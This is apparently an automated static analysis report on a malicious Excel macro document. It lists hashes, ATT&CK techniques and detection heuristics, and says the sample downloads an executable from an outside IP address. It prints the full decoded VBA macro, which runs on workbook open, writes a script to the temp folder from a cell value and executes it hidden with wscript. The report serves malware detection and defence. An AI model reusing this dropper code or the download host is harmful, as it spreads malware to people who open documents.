Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2c51b60afd53c78a…

MALICIOUS

Office (OLE)

22.5 KB Created: 1996-10-08 23:32:33 Authoring application: Microsoft Excel First seen: 2015-01-04
MD5: 013c90d7a07e365e82fd8ed0103efbe9 SHA-1: cf103af76d477d41d25b549c3a17569382631171 SHA-256: 2c51b60afd53c78a31d96673a9ff33bf6d4eec17c774e8cf1dde2018b90b425a
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage WScript.Shell and CreateObject to download a payload from the reconstructed URL "http://185.48.56.131:8080/sstt/lldvs.php". The downloaded file is saved to the temporary directory as "servics.exe" and then executed using WScript. The Workbook_Open macro ensures execution upon opening the document, indicating a phishing or social engineering lure.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set hgGVIKJ = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set hgGVIKJ = CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1998 bytes
SHA-256: 16cc9cc468013c8e1defef98763ab4c4b99c609ac59755868ba6e205d100001d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ЭтаКнига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub yyyTFGGf()
    sdfdfsdfdsf
End Sub
Sub fdgfdgdfg()
    yyyTFGGf
End Sub
Sub Workbook_Open()
    yyyTFGGf
End Sub
Sub sdfdfsdfdsf()

Dim iKJINJdg
iKJINJdg = StrReverse(Chr$(115) & Chr$(98) & Chr$(118) & Chr$(46) & Chr$(115) & Chr$(119) & Chr$(111) & Chr$(100) & Chr$(110) & Chr$(105) & Chr$(119) & Chr$(92) & Chr$(37) & Chr$(80) & Chr$(77) & Chr$(69) & Chr$(84) & Chr$(37))

'==================================================
Dim hgGVIKJ
Set hgGVIKJ = CreateObject("WScript.Shell")

iKJINJdg = hgGVIKJ.ExpandEnvironmentStrings(iKJINJdg)

Set s = CreateObject("ADODB.Stream")
s.Mode = 3
s.Type = 2
s.Open
s.WriteText Worksheets("Excel").Range("D20").Value
Call s.SaveToFile(iKJINJdg, 2)
hgGVIKJ.Run "wscript """ & iKJINJdg & """", 0, 0

End Sub


Attribute VB_Name = "Лист1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Лист3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True